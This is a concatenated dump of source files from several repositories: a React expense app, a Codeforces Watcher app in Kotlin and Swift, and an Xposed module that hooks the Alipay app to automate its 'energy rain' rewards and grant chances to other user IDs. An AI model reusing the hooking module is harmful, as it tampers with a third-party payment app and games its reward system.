export const getCookie = tokenName => {
const nameWithEaualSign = `${tokenName}=`;
const existingCookie = document.cookie;
const maybeCookies = existingCookie && existingCookie.split(';');
const cookieWithName =
maybeCookies &&
maybeCookies.find(cookie => cookie.startsWith(nameWithEaualSign));
const lastIndexOfTokenNameWithEqualSign = nameWithEaualSign.length;
const lastIndexOfToken = cookieWithName.length;
return cookieWithName.substring(
lastIndexOfTokenNameWithEqualSign,
lastIndexOfToken
);
};
const requestConfig = {
headers: { Authorization: `Bearer ${getCookie(COOKIE_TOKEN_NAME)}` }
};
export const getRequest = async (endpoint = '') =>
await axios.get(`${FULL_HOST_URI}/${endpoint}`, requestConfig);
export const putRequest = async (endpoint = '', data) =>
await axios.put(`${FULL_HOST_URI}/${endpoint}`, data, requestConfig);
export const postRequest = async (endpoint = '', data) =>
await axios.post(`${FULL_HOST_URI}/${endpoint}`, data, requestConfig);
export const deleteRequest = async (endpoint = '') =>
await axios.delete(`${FULL_HOST_URI}/${endpoint}`, requestConfig);
export const fetchData = async (setData, endpoint) => {
const { data } = await getRequest(endpoint);
setData(data);
};
<file_sep>import React from 'react';
import Routes from './Routes';
const Main = ({ allData }) => (
<div className="container">
<Routes allData={allData} />
</div>
);
export default Main;
<file_sep>import React, { useEffect, useState } from 'react';
import { fetchData } from '../api';
import Link from '../UI/Link';
const EXPENCES_ENSPOINT = 'expences';
const Expence = ({ expence: { amount, _id: id } }) => {
return (
<tr>
<td>{amount}</td>
<td>
<Link path={`expences/edit/${id}`}>Edit</Link>
</td>
</tr>
);
};
const expenceList = expences =>
expences.map((expence, i) => <Expence expence={expence} key={i} />);
const Expences = () => {
const [expences, setExpences] = useState([]);
console.log({ expences });
useEffect(() => {
fetchData(setExpences, EXPENCES_ENSPOINT);
}, []);
return (
<div>
<h3>Expences List</h3>
<table className="table table-striped">
<thead>
<tr>
<th>Action</th>
</tr>
</thead>
<tbody>
{expences && expences.length > 0 && expenceList(expences)}
</tbody>
</table>
<Link path="/expences/create">Create</Link>
</div>
);
};
export default Expences;
<file_sep>export const ACTIONS = { ACCEPT: 'ACCEPT', REJECT: 'REJECT', INVITE: 'INVITE' };
<file_sep>import React from 'react';
import { HashRouter as Router } from 'react-router-dom';
import './App.scss';
import Spinner from './UI/Spinner';
import Login from './login/Login';
import Home from './Home/Home';
import { useDatabaseData } from './hooks';
const App = () => {
const allData = useDatabaseData();
const userNotLoadedYet = allData === undefined;
const userNotSigned = allData === null;
return (
<Router>
{userNotLoadedYet ? (
<Spinner />
) : userNotSigned ? (
<div>
<Login />
</div>
) : (
<div>
<Home allData={allData} />
</div>
)}
</Router>
);
};
export default App;
<file_sep>import React, { useState } from 'react';
import Avatar from '../UI/Avatar';
import Link from '../UI/Link';
import Members from './Members';
import { any } from '../array';
export const getIdFromUri = () => {
const { href } = location;
const splittedHref = href.split('/');
const groupIdIndex = splittedHref.indexOf('groups') + 1;
const id = splittedHref[groupIdIndex];
return id;
};
const handleChange = set => () => {
const {
target: { value = '' }
} = event || {};
set(value);
};
const Group = ({ groups, users, currentUser }) => {
const id = getIdFromUri();
const {
name: sourceName,
members: sourceMembersIds,
invited: sourceInvitedIds,
description: sourceDescription = ''
} = groups[id];
const [name, setName] = useState(sourceName);
const [description, setDescription] = useState(sourceDescription);
const onChangeName = handleChange(setName);
const onChangeDescription = handleChange(setDescription);
const path = `/groups/${id}/members/new/`;
const maybeAlreadyMember = true;
const maybeInvitedUsers = any(sourceInvitedIds);
return (
<div className="single-group row-spacing">
<div className="avatar-wrapper">
<Avatar name={name} />
<h1>{name}</h1>
</div>
<form className="row-spacing">
<div className="form-element">
<span>Name:</span>
<input onChange={onChangeName} value={name} />
</div>
<div className="form-element">
<span>Description:</span>
<textarea onChange={onChangeDescription} value={description} />
</div>
<div>
<button>save</button>
</div>
<Members
currentUser={currentUser}
groupId={id}
membersIds={sourceMembersIds}
users={users}
/>
{maybeAlreadyMember && (
<div className="pretend-button-wrapper buttons-inline col-spacing">
<Link path={path}>invite</Link>
</div>
)}
{maybeInvitedUsers && (
<Members
currentUser={currentUser}
groupId={id}
invited
membersIds={sourceInvitedIds}
users={users}
/>
)}
</form>
</div>
);
};
export default Group;
<file_sep>require('dotenv/config');
export const {
COOKIE_SECRET,
NODE_ENV,
BACKEND_PORT,
DB_URI,
GOOGLE_CLIENT_ID,
GOOGLE_CLIENT_SECRET,
REVERSE_PROXY_PORT,
HOST_URI
} = process.env;
export const FULL_CLIENT_HOST_URI =
NODE_ENV === 'production'
? `http://${HOST_URI}`
: `http://${HOST_URI}:${REVERSE_PROXY_PORT}`;
export const ACCESS_TOKEN_COOKIE_NAME = 'access_token';
console.log('BACKEND SERVER:');
console.log({ NODE_ENV, BACKEND_PORT, DB_URI, HOST_URI });
<file_sep>const filterElementOut = array => element =>
array.filter(arrayElement => arrayElement !== element);
const preventDuplicates = array => [...new Set(array)];
const saveGroupOnInvitationAccepted = async (userToUpdate, groupToUpdate) => {
const { members, invited } = groupToUpdate;
const { _id: userToUpdateId } = userToUpdate;
const uniqueUpdatedMembers = preventDuplicates([...members, userToUpdateId]);
groupToUpdate.members = [...uniqueUpdatedMembers];
const uniqueUpdatedInvited = preventDuplicates(
filterElementOut(invited)(userToUpdateId)
);
groupToUpdate.invited = [...uniqueUpdatedInvited];
await groupToUpdate.save();
};
const saveUserOnInvitationAccepted = async (userToUpdate, groupToUpdate) => {
const { _id: groupToUpdateId } = groupToUpdate;
const { groupsMember, groupsInvitedTo } = userToUpdate;
const uniqueUpdatedGroupsMember = preventDuplicates([
...groupsMember,
groupToUpdateId
]);
// eslint-disable-next-line require-atomic-updates
userToUpdate.groupsMember = [...uniqueUpdatedGroupsMember];
const uniqueUpdatedGroupsInvitedTo = preventDuplicates(
filterElementOut(groupsInvitedTo)(groupToUpdateId)
);
// eslint-disable-next-line require-atomic-updates
userToUpdate.groupsInvitedTo = [...uniqueUpdatedGroupsInvitedTo];
await userToUpdate.save();
};
export const acceptInvitaion = async (userToUpdate, groupToUpdate) => {
try {
await Promise.all([
saveGroupOnInvitationAccepted(userToUpdate, groupToUpdate),
saveUserOnInvitationAccepted(userToUpdate, groupToUpdate)
]);
return;
} catch (error) {
console.error({ error });
}
};
export const invite = async (userToUpdate, groupToUpdate) => {
try {
const { invited = [], _id: groupToUpdateId } = groupToUpdate || {};
const { groupsInvitedTo } = userToUpdate;
const uniqueInvited = preventDuplicates([...invited, userToUpdate]);
groupToUpdate.invited = [...uniqueInvited];
await groupToUpdate.save();
const uniqueGroupsInvitedTo = preventDuplicates([
...groupsInvitedTo,
groupToUpdateId
]);
// eslint-disable-next-line require-atomic-updates
userToUpdate.groupsInvitedTo = [...uniqueGroupsInvitedTo];
return await userToUpdate.save();
} catch (error) {
console.error({ error });
}
};
<file_sep>import sum from './sum';
test('Should adds 1 + 2 to equal 3', () => {
expect(sum(1, 2)).toBe(3);
});
<file_sep>import redbird from 'redbird';
import { HOST_URI, REVERSE_PROXY_PORT } from './environment';
const proxy = redbird({ port: REVERSE_PROXY_PORT });
console.log({ HOST_URI });
proxy.register(`${HOST_URI}/`, `http://${HOST_URI}:3000`);
proxy.register(`${HOST_URI}/api`, `http://${HOST_URI}:4000/api`);
|
2696d1bc11110a52be0b5687fae6c162ebca4bc8
|
[
"JavaScript",
"Markdown"
] | 36
|
JavaScript
|
kendyl93/Budgety
|
36237ce714ec03a98145fca8d948338060bda1f7
|
66b5158e088156e3d507aca36edda6875da01d66
|
refs/heads/master
|
<file_sep>package laimr.antforest.autoenergyrain.data;
/**
* @author laiyulong
* @date 2021/11/21 15:23
*/
public class GlobalInfo {
public static String userId = "";
public static String loginId = "";
public static String hookedPackageName = "com.eg.android.AlipayGphone";
public static final String BROADCASTTAG = "com.alipay.laimr";
public static final String CALLBACKTAG = "laimr.antforest.autoenergyrain.callback";
}
<file_sep># AutoEnergyRain
自动收取支付宝能量雨
基于Xposed框架
参考了很多市面上的软件,比如XQuickEnergy,Crystal系列软件。
更多详情请见[Wiki](../../wiki)<file_sep>package laimr.antforest.autoenergyrain.ui;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.pm.ResolveInfo;
import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.util.Log;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import java.util.List;
import laimr.antforest.autoenergyrain.R;
import laimr.antforest.autoenergyrain.data.GlobalInfo;
import laimr.antforest.autoenergyrain.ui.core.CallBackBroadcastReceiver;
public class MainActivity extends AppCompatActivity {
//public static Context MainActivityContext;
//{
// MainActivity.MainActivityContext = this;
//}
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Log.e("NMSL", "我插件UI起了,一枪秒了");
this.registerReceiver(new CallBackBroadcastReceiver(), new IntentFilter(GlobalInfo.CALLBACKTAG));
((Button) this.findViewById(R.id.getUserId)).setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
sendBroadcast(createIntentWithBundle("getCurrentId", "", ""));
}
});
((Button) this.findViewById(R.id.grantOtherEnergyRain)).setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
MainActivity.this.sendBroadcast(createIntentWithBundle(
"grantEnergyRain",
"alipay.antforest.forest.h5.grantEnergyRainChance",
"[{\"targetUserId\":" + ((EditText) findViewById(R.id.grantedUserid)).getText() + "}]"
)
);
//Toast.makeText(MainActivity.this, "发送广播成功", Toast.LENGTH_SHORT).show();
}
});
((Button) this.findViewById(R.id.playenerygrain)).setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
//MainActivity.this.sendBroadcast(new Intent("com.alipay.laimr.rpccallfromclient").putExtras(createBundle("finishEnergyRain3times")));
MainActivity.this.sendBroadcast(createIntentWithBundle("finishEnergyRain3times", "", ""));
}
});
}
private Intent createIntentWithBundle(String goal, String api, String data) {
Bundle bundle = new Bundle();
bundle.putString("goal", goal);
bundle.putString("api", api);
bundle.putString("data", data);
return new Intent(GlobalInfo.BROADCASTTAG + ".rpccallfromclient").putExtras(bundle);
}
}<file_sep>//include ':app'
include ':autoenergyrain'
<file_sep>plugins {
id 'com.android.application'
}
android {
compileSdk 30
defaultConfig {
applicationId 'laimr.antforest.autoenergyrain'
minSdk 23
targetSdk 30
versionCode 2
versionName '0.91测试版'
testInstrumentationRunner "android.support.test.runner.AndroidJUnitRunner"
}
buildTypes {
release {
// release 编译开启了 代码混淆 和 压缩
// 没有混淆 XposedHook类,详情见proguard-rules.pro
// Enables code shrinking, obfuscation, and optimization for only
// your project's release build type.
minifyEnabled true
// Enables resource shrinking, which is performed by the
// Android Gradle plugin.
shrinkResources true
// Includes the default ProGuard rules files that are packaged with
// the Android Gradle plugin. To learn more, go to the section about
// R8 configuration files.
proguardFiles getDefaultProguardFile(
'proguard-android-optimize.txt'),
'proguard-rules.pro'
}
}
compileOptions {
sourceCompatibility JavaVersion.VERSION_1_8
targetCompatibility JavaVersion.VERSION_1_8
}
buildToolsVersion '29.0.3'
compileSdkVersion 30
}
dependencies {
compileOnly 'de.robv.android.xposed:api:82'
compileOnly 'de.robv.android.xposed:api:82:sources'
implementation 'com.android.support:appcompat-v7:28.0.0'
implementation 'com.android.support.constraint:constraint-layout:2.0.4'
testImplementation 'junit:junit:4.+'
androidTestImplementation 'com.android.support.test:runner:1.0.2'
androidTestImplementation 'com.android.support.test.espresso:espresso-core:3.0.2'
}<file_sep>package laimr.antforest.autoenergyrain.ui.core;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;
import android.widget.Toast;
import laimr.antforest.autoenergyrain.ui.MainActivity;
/**
* @author laiyulong
* @date 2021/11/21 22:50
*/
public class CallBackBroadcastReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
//神奇的context
Log.i("NMSL",context.getClass().getName());
switch (intent.getStringExtra("type")){
//case "currentUserId":
// Toast.makeText(context,"当前支付宝登录UserId:"+intent.getStringExtra("returnData"), Toast.LENGTH_SHORT).show();
// break;
default:
Toast.makeText(context,intent.getStringExtra("returnData"), Toast.LENGTH_SHORT).show();
}
}
}
|
2ea33cdb224ba31a81f5e9797ff3cb7105d99d8c
|
[
"Markdown",
"Java",
"Gradle"
] | 6
|
Java
|
kingking888/AutoEnergyRain
|
d827f56942ca60ba11246e5eb33a93d44329c55d
|
933f4fcb8d64a16ad2226c7bc86d082ee788fd02
|
refs/heads/master
|
<file_sep>//
// TableViewController.swift
// Codeforces Watcher
//
// Created by <NAME> on 1/2/20.
// Copyright © 2020 xorum.io. All rights reserved.
//
import UIKit
import common
class ActionsTableViewAdapter: NSObject, UITableViewDelegate, UITableViewDataSource {
var actionItems: [ActionItem] = []
var onActionClick: ((String, String) -> ())?
func numberOfSections(in tableView: UITableView) -> Int {
return 1
}
func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {
if (actionItems.isEmpty) {
return 1
}
return actionItems.count
}
func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {
if (actionItems.isEmpty) {
return tableView.dequeueReusableCell(cellType: NoActionsTableViewCell.self)
}
switch (actionItems[indexPath.row]) {
case .comment(let actionItem):
return tableView.dequeueReusableCell(cellType: CommentTableViewCell.self).apply {
$0.bind(actionItem: actionItem)
}
case .blogEntry(let actionItem):
return tableView.dequeueReusableCell(cellType: BlogEntryTableViewCell.self).apply {
$0.bind(actionItem: actionItem)
}
}
}
func tableView(_ tableView: UITableView, didSelectRowAt indexPath: IndexPath) {
if (actionItems.isEmpty) {
return
}
switch (actionItems[indexPath.row]) {
case .comment(let actionItem):
onActionClick?(actionItem.link, actionItem.shareText)
case .blogEntry(let actionItem):
onActionClick?(actionItem.link, actionItem.shareText)
}
}
func tableView(_ tableView: UITableView, heightForRowAt indexPath: IndexPath) -> CGFloat {
if (actionItems.isEmpty) {
return tableView.frame.height
} else {
return UITableView.automaticDimension
}
}
func tableView(_ tableView: UITableView, estimatedHeightForRowAt indexPath: IndexPath) -> CGFloat {
return 122
}
}
class Prefs : Settings {
func readContestsFilters() -> Set<String> {
fatalError()
}
func readProblemsIsFavourite() -> Bool {
fatalError()
}
func readSpinnerSortPosition() -> Int32 {
fatalError()
}
func writeContestsFilters(filters: Set<String>) {
fatalError()
}
func writeProblemsIsFavourite(isFavourite: Bool) {
fatalError()
}
func writeSpinnerSortPosition(spinnerSortPosition: Int32) {
fatalError()
}
}
<file_sep>//
// MessageAction.swift
// Codeforces Watcher
//
// Created by <NAME> on 1/22/20.
// Copyright © 2020 xorum.io. All rights reserved.
//
import Foundation
import ReSwift
protocol MessageAction: Action {
var message: String { get set }
}
<file_sep>package io.xorum.codeforceswatcher.redux.states
import io.xorum.codeforceswatcher.features.actions.redux.states.ActionsState
import io.xorum.codeforceswatcher.features.add_user.redux.states.AddUserState
import io.xorum.codeforceswatcher.features.problems.redux.states.ProblemsState
import io.xorum.codeforceswatcher.features.contests.redux.states.ContestsState
import io.xorum.codeforceswatcher.features.users.redux.states.UsersState
import tw.geothings.rekotlin.StateType
data class AppState(
val contests: ContestsState = ContestsState(),
val users: UsersState = UsersState(),
val actions: ActionsState = ActionsState(),
val problems: ProblemsState = ProblemsState(),
val addUserState: AddUserState = AddUserState()
) : StateType
<file_sep>package com.bogdan.codeforceswatcher.features.add_user
import android.content.Context
import android.os.Bundle
import android.view.View
import android.view.View.*
import android.view.inputmethod.InputMethodManager
import androidx.appcompat.app.AppCompatActivity
import com.bogdan.codeforceswatcher.R
import com.bogdan.codeforceswatcher.util.Analytics
import io.xorum.codeforceswatcher.features.add_user.redux.actions.AddUserActions
import io.xorum.codeforceswatcher.features.add_user.redux.requests.AddUserRequests
import io.xorum.codeforceswatcher.features.add_user.redux.states.AddUserState
import io.xorum.codeforceswatcher.redux.store
import kotlinx.android.synthetic.main.activity_add_user.*
import tw.geothings.rekotlin.StoreSubscriber
class AddUserActivity : AppCompatActivity(), OnClickListener, StoreSubscriber<AddUserState> {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_add_user)
setSupportActionBar(toolbar)
supportActionBar?.setDisplayHomeAsUpEnabled(true)
supportActionBar?.setDisplayShowHomeEnabled(true)
showKeyboard()
btnAdd.setOnClickListener(this)
}
override fun onStart() {
super.onStart()
store.subscribe(this) { state ->
state.skipRepeats { oldState, newState ->
oldState.addUserState == newState.addUserState
}.select { it.addUserState }
}
}
override fun onPause() {
hideKeyboard()
super.onPause()
}
override fun onStop() {
super.onStop()
store.dispatch(AddUserActions.ClearAddUserState())
store.unsubscribe(this)
}
private fun showKeyboard() {
etHandle.requestFocus()
val imm = getSystemService(Context.INPUT_METHOD_SERVICE) as? InputMethodManager
imm?.toggleSoftInput(InputMethodManager.SHOW_FORCED, InputMethodManager.HIDE_IMPLICIT_ONLY)
}
private fun hideKeyboard() {
val imm = getSystemService(Context.INPUT_METHOD_SERVICE) as? InputMethodManager
imm?.hideSoftInputFromWindow(etHandle.windowToken, 0)
}
override fun newState(state: AddUserState) {
progressBar.visibility = when (state.status) {
AddUserState.Status.IDLE -> INVISIBLE
AddUserState.Status.PENDING -> VISIBLE
AddUserState.Status.DONE -> INVISIBLE
}
if (state.status == AddUserState.Status.DONE) finish()
}
override fun onSupportNavigateUp(): Boolean {
onBackPressed()
return true
}
override fun onClick(v: View) {
when (v.id) {
R.id.btnAdd -> {
store.dispatch(AddUserRequests.AddUser(etHandle.text.toString()))
Analytics.logUserAdded()
}
else -> {
}
}
}
}
<file_sep>package io.xorum.codeforceswatcher.util
lateinit var settings: Settings
interface Settings {
fun readSpinnerSortPosition(): Int
fun writeSpinnerSortPosition(spinnerSortPosition: Int)
fun readProblemsIsFavourite(): Boolean
fun writeProblemsIsFavourite(isFavourite: Boolean)
fun readContestsFilters(): Set<String>
fun writeContestsFilters(filters: Set<String>)
fun writePinnedPostLink(pinnedPostLink: String)
fun readPinnedPostLink(): String
}
<file_sep>package com.bogdan.codeforceswatcher.util
import android.annotation.SuppressLint
import android.content.Context
import com.bogdan.codeforceswatcher.R
import com.github.mikephil.charting.components.MarkerView
import com.github.mikephil.charting.data.Entry
import com.github.mikephil.charting.highlight.Highlight
import com.github.mikephil.charting.utils.MPPointF
import kotlinx.android.synthetic.main.chart.view.tvContent
class CustomMarkerView(context: Context, layoutResource: Int) :
MarkerView(context, layoutResource) {
override fun getOffset(): MPPointF {
return MPPointF((-(width * 0.95)).toFloat(), (-height).toFloat())
}
@SuppressLint("SetTextI18n", "ResourceType")
override fun refreshContent(e: Entry?, highlight: Highlight?) {
if (e?.data == null) {
tvContent.text = context.getString(R.id.none)
} else {
tvContent.text = e.data.toString()
}
super.refreshContent(e, highlight)
}
}
<file_sep>package io.xorum.codeforceswatcher.features.add_user.redux.requests
import io.xorum.codeforceswatcher.features.users.redux.getUsers
import io.xorum.codeforceswatcher.features.users.redux.models.UsersRequestResult
import io.xorum.codeforceswatcher.db.DatabaseQueries
import io.xorum.codeforceswatcher.features.users.models.User
import io.xorum.codeforceswatcher.redux.*
import tw.geothings.rekotlin.Action
class AddUserRequests {
class AddUser(private val handle: String) : Request() {
override suspend fun execute() {
when (val result = getUsers(handle, true)) {
is UsersRequestResult.Failure -> store.dispatch(Failure(result.error.message))
is UsersRequestResult.Success -> result.users.firstOrNull()?.let { user -> addUser(user) }
}
}
private fun addUser(user: User) {
val foundUser = DatabaseQueries.Users.getAll()
.find { currentUser -> currentUser.handle == user.handle }
if (foundUser == null) {
user.id = DatabaseQueries.Users.insert(user)
store.dispatch(Success(user))
} else {
store.dispatch(Failure(Message.UserAlreadyAdded))
}
}
data class Success(val user: User) : Action
data class Failure(override val message: Message) : ToastAction
}
}
<file_sep>package io.xorum.codeforceswatcher.features.add_user.redux.states
import tw.geothings.rekotlin.StateType
data class AddUserState(
val status: Status = Status.IDLE
) : StateType {
enum class Status { IDLE, PENDING, DONE }
}
<file_sep>package io.xorum.codeforceswatcher.features.users.redux
import io.xorum.codeforceswatcher.features.users.models.User
import io.xorum.codeforceswatcher.features.users.redux.models.Error
import io.xorum.codeforceswatcher.features.users.redux.models.UsersRequestResult
import io.xorum.codeforceswatcher.network.CodeforcesApiClient
import io.xorum.codeforceswatcher.redux.Message
import kotlinx.coroutines.delay
suspend fun getUsers(handles: String, isRatingUpdatesNeeded: Boolean): UsersRequestResult {
val response = CodeforcesApiClient.getUsers(handles)
return response?.result?.let { users ->
if (users.isEmpty()) {
return UsersRequestResult.Failure(Error.Response())
}
if (isRatingUpdatesNeeded) {
loadRatingUpdates(users)
} else {
UsersRequestResult.Success(users)
}
} ?: UsersRequestResult.Failure(response?.comment.toError() ?: Error.Internet())
}
suspend fun loadRatingUpdates(userList: List<User>): UsersRequestResult {
for (user in userList) {
delay(250) // Because Codeforces blocks frequent queries
val response = CodeforcesApiClient.getRating(user.handle)
response?.result?.let { ratingChanges ->
user.ratingChanges = ratingChanges
} ?: return UsersRequestResult.Failure(response?.comment.toError() ?: Error.Response())
}
return UsersRequestResult.Success(userList)
}
private fun String?.toError() = this?.let { Error.Response(Message.Custom(it)) }
<file_sep>//
// ProblemsResponse.swift
// Codeforces Watcher
//
// Created by <NAME> on 1/17/20.
// Copyright © 2020 xorum.io. All rights reserved.
//
import Foundation
import ObjectMapper
struct ProblemsResponse: Mappable {
var problems: [Problem] = []
init?(map: Map) {}
mutating func mapping(map: Map) {
problems <- map["result.problems"]
}
}
<file_sep>//
// FilterChangeAction.swift
// Codeforces Watcher
//
// Created by <NAME> on 1/28/20.
// Copyright © 2020 xorum.io. All rights reserved.
//
import Foundation
import ReSwift
struct FilterChangeAction: Action {
var platform: Platform
var isOn: Bool
}
<file_sep>package com.bogdan.codeforceswatcher.receiver
import android.content.BroadcastReceiver
import android.content.Context
import android.content.Intent
import io.xorum.codeforceswatcher.features.users.redux.requests.Source
import io.xorum.codeforceswatcher.features.users.redux.requests.UsersRequests
import io.xorum.codeforceswatcher.redux.store
class RatingUpdateReceiver : BroadcastReceiver() {
override fun onReceive(context: Context, intent: Intent?) {
store.dispatch(UsersRequests.FetchUsers(Source.BROADCAST))
}
}
<file_sep>package io.xorum.codeforceswatcher.features.actions.redux.requests
import io.xorum.codeforceswatcher.features.actions.models.CFAction
import io.xorum.codeforceswatcher.features.users.models.User
import io.xorum.codeforceswatcher.features.users.redux.getUsers
import io.xorum.codeforceswatcher.features.users.redux.models.UsersRequestResult
import io.xorum.codeforceswatcher.network.CodeforcesApiClient
import io.xorum.codeforceswatcher.network.PinnedPostsApiClient
import io.xorum.codeforceswatcher.network.responses.PinnedPost
import io.xorum.codeforceswatcher.redux.*
import io.xorum.codeforceswatcher.util.settings
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.withContext
import tw.geothings.rekotlin.Action
class ActionsRequests {
class FetchActions(
private val isInitializedByUser: Boolean,
private val language: String
) : Request() {
override suspend fun execute() {
val response = CodeforcesApiClient.getActions(lang = defineLang())
response?.result?.let { actions ->
buildUiDataAndDispatch(actions)
} ?: dispatchFailure()
}
private suspend fun buildUiDataAndDispatch(actions: List<CFAction>) {
val handles = buildHandles(actions)
when (val result = getUsers(handles, false)) {
is UsersRequestResult.Success -> {
store.dispatch(Success(buildUiData(actions, result.users)))
}
is UsersRequestResult.Failure -> dispatchFailure()
}
}
private fun dispatchFailure() {
val noConnectionError = if (isInitializedByUser) Message.NoConnection else Message.None
store.dispatch(Failure(noConnectionError))
}
private fun buildHandles(actions: List<CFAction>) = actions.flatMap { action ->
listOf(action.comment?.commentatorHandle, action.blogEntry.authorHandle)
}.filterNotNull().toSet().joinToString(separator = ";")
private suspend fun buildUiData(
actions: List<CFAction>,
users: List<User>?
): List<CFAction> = withContext(Dispatchers.Default) {
val uiData: MutableList<CFAction> = mutableListOf()
for (action in actions) {
action.comment?.let { comment ->
users?.find { user -> user.handle == comment.commentatorHandle }
?.let { foundUser ->
comment.commentatorAvatar = foundUser.avatar
comment.commentatorRank = foundUser.rank
}
} ?: if (isUnnecessaryAction(action)) continue
users?.find { user -> user.handle == action.blogEntry.authorHandle }
?.let { foundUser ->
action.blogEntry.authorAvatar = foundUser.avatar
action.blogEntry.authorRank = foundUser.rank
}
uiData.add(action)
}
uiData
}
private fun isUnnecessaryAction(action: CFAction) =
(action.timeSeconds != action.blogEntry.creationTimeSeconds &&
action.timeSeconds != action.blogEntry.modificationTimeSeconds)
private fun defineLang(): String {
return if (language == "ru" || language == "uk") "ru" else "en"
}
data class Success(val actions: List<CFAction>) : Action
data class Failure(override val message: Message) : ToastAction
}
class FetchPinnedPost : Request() {
override suspend fun execute() {
val response = PinnedPostsApiClient.getPinnedPost()
response?.let {
store.dispatch(Success(it))
} ?: store.dispatch(Failure())
}
data class Success(val pinnedPost: PinnedPost) : Action
class Failure : Action
}
class RemovePinnedPost(val link: String) : Request() {
override suspend fun execute() {
settings.writePinnedPostLink(link)
}
}
}
<file_sep>package com.bogdan.codeforceswatcher.features.users
import android.content.Context
import android.content.Intent
import android.os.Bundle
import android.view.Menu
import android.view.MenuItem
import androidx.appcompat.app.AppCompatActivity
import com.bogdan.codeforceswatcher.R
import com.bogdan.codeforceswatcher.util.CustomMarkerView
import com.github.mikephil.charting.components.XAxis
import com.github.mikephil.charting.data.Entry
import com.github.mikephil.charting.data.LineData
import com.github.mikephil.charting.data.LineDataSet
import com.github.mikephil.charting.formatter.IAxisValueFormatter
import com.squareup.picasso.Picasso
import io.xorum.codeforceswatcher.features.users.models.User
import io.xorum.codeforceswatcher.features.users.redux.requests.UsersRequests
import io.xorum.codeforceswatcher.redux.store
import io.xorum.codeforceswatcher.util.avatar
import kotlinx.android.synthetic.main.activity_user.*
import java.text.SimpleDateFormat
import java.util.*
class UserActivity : AppCompatActivity() {
private var userId: Long = -1
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_user)
supportActionBar?.setDisplayHomeAsUpEnabled(true)
supportActionBar?.setDisplayShowHomeEnabled(true)
userId = intent.getLongExtra(ID, -1)
val user = store.state.users.users.find { it.id == userId }
user?.let { foundUser ->
displayUser(foundUser)
if (foundUser.ratingChanges.isNotEmpty()) {
displayChart(foundUser)
} else {
tvRatingChanges.text = ""
}
}
}
override fun onSupportNavigateUp(): Boolean {
onBackPressed()
return true
}
private fun displayUser(user: User) {
tvRank.text = user.buildRank()
tvCurrentRating.text = user.buildRating()
tvUserHandle.text = getString(R.string.name, user.buildName())
tvMaxRating.text = user.buildMaxRating()
Picasso.get().load(avatar(user.avatar)).into(ivUserAvatar)
title = user.handle
}
private fun User.buildRank() = if (rank == null) {
getString(R.string.rank, getString(R.string.none))
} else {
getString(R.string.rank, rank)
}
private fun User.buildRating() = if (rating == null) {
getString(R.string.cur_rating, getString(R.string.none))
} else {
getString(R.string.cur_rating, rating.toString())
}
private fun User.buildName() = when {
firstName == null && lastName == null -> getString(R.string.none)
firstName == null -> lastName
lastName == null -> firstName
else -> "$firstName $lastName"
}
private fun User.buildMaxRating() = if (maxRating == null) {
getString(R.string.max_rating, getString(R.string.none))
} else {
getString(R.string.max_rating, maxRating.toString())
}
private fun displayChart(user: User) {
val entries = mutableListOf<Entry>()
val xAxis = chart.xAxis
chart.setTouchEnabled(true)
chart.markerView = CustomMarkerView(this, R.layout.chart)
chart.isDragEnabled = true
chart.axisRight.setDrawLabels(false)
xAxis.setDrawAxisLine(true)
chart.description.isEnabled = false
chart.legend.isEnabled = false
xAxis.position = XAxis.XAxisPosition.BOTTOM
xAxis.labelCount = 3
xAxis.valueFormatter = IAxisValueFormatter { value, _ ->
val dateFormat = SimpleDateFormat("MMM yyyy", Locale.getDefault())
dateFormat.format(Date(value.toLong() * 1000)).toString()
}
for (ratingChange in user.ratingChanges) {
val ratingUpdateTime = ratingChange.ratingUpdateTimeSeconds.toFloat()
val newRating = ratingChange.newRating.toFloat()
val data = ratingChange.contestName
entries.add(Entry(ratingUpdateTime, newRating, data))
}
val lineDataSet = LineDataSet(entries, user.handle)
lineDataSet.setDrawValues(false)
chart.data = LineData(lineDataSet)
}
override fun onCreateOptionsMenu(menu: Menu): Boolean {
menuInflater.inflate(R.menu.menu_user_activity, menu)
return true
}
override fun onOptionsItemSelected(item: MenuItem): Boolean {
when (item.itemId) {
R.id.action_delete -> {
val user = store.state.users.users.find { it.id == userId }
user?.let { store.dispatch(UsersRequests.DeleteUser(it)) }
finish()
}
}
return super.onOptionsItemSelected(item)
}
companion object {
private const val ID = "id"
fun newIntent(context: Context, userId: Long): Intent {
val intent = Intent(context, UserActivity::class.java)
intent.putExtra(ID, userId)
return intent
}
}
}
<file_sep>//
// Problem.swift
// Codeforces Watcher
//
// Created by <NAME> on 1/17/20.
// Copyright © 2020 xorum.io. All rights reserved.
//
import Foundation
import ObjectMapper
struct Problem: Mappable {
var name: String!
var contestId: Int!
var index: String!
init?(map: Map) {}
mutating func mapping(map: Map) {
name <- map["name"]
contestId <- map["contestId"]
index <- map["index"]
}
}
<file_sep>//
// PersistenceController.swift
// Codeforces Watcher
//
// Created by <NAME> on 1/30/20.
// Copyright © 2020 xorum.io. All rights reserved.
//
import Foundation
struct PersistenceController {
static func saveContestsFilters(filters: [Platform: Bool]) {
var mappedFilters: [String: Bool] = [:]
for param in filters {
mappedFilters[param.key.rawValue] = param.value
}
UserDefaults.standard.setValue(mappedFilters, forKey: "filters")
}
static func getContestsFilters() -> [Platform: Bool] {
if let savedFilters = (UserDefaults.standard.value(forKey: "filters")) as? [String: Bool] {
var mappedFilters: [Platform: Bool] = [:]
for param in savedFilters {
mappedFilters[Platform(rawValue: param.key)!] = param.value
}
return mappedFilters
} else {
return [:]
}
}
static func clearAllKeys() {
let domain = Bundle.main.bundleIdentifier!
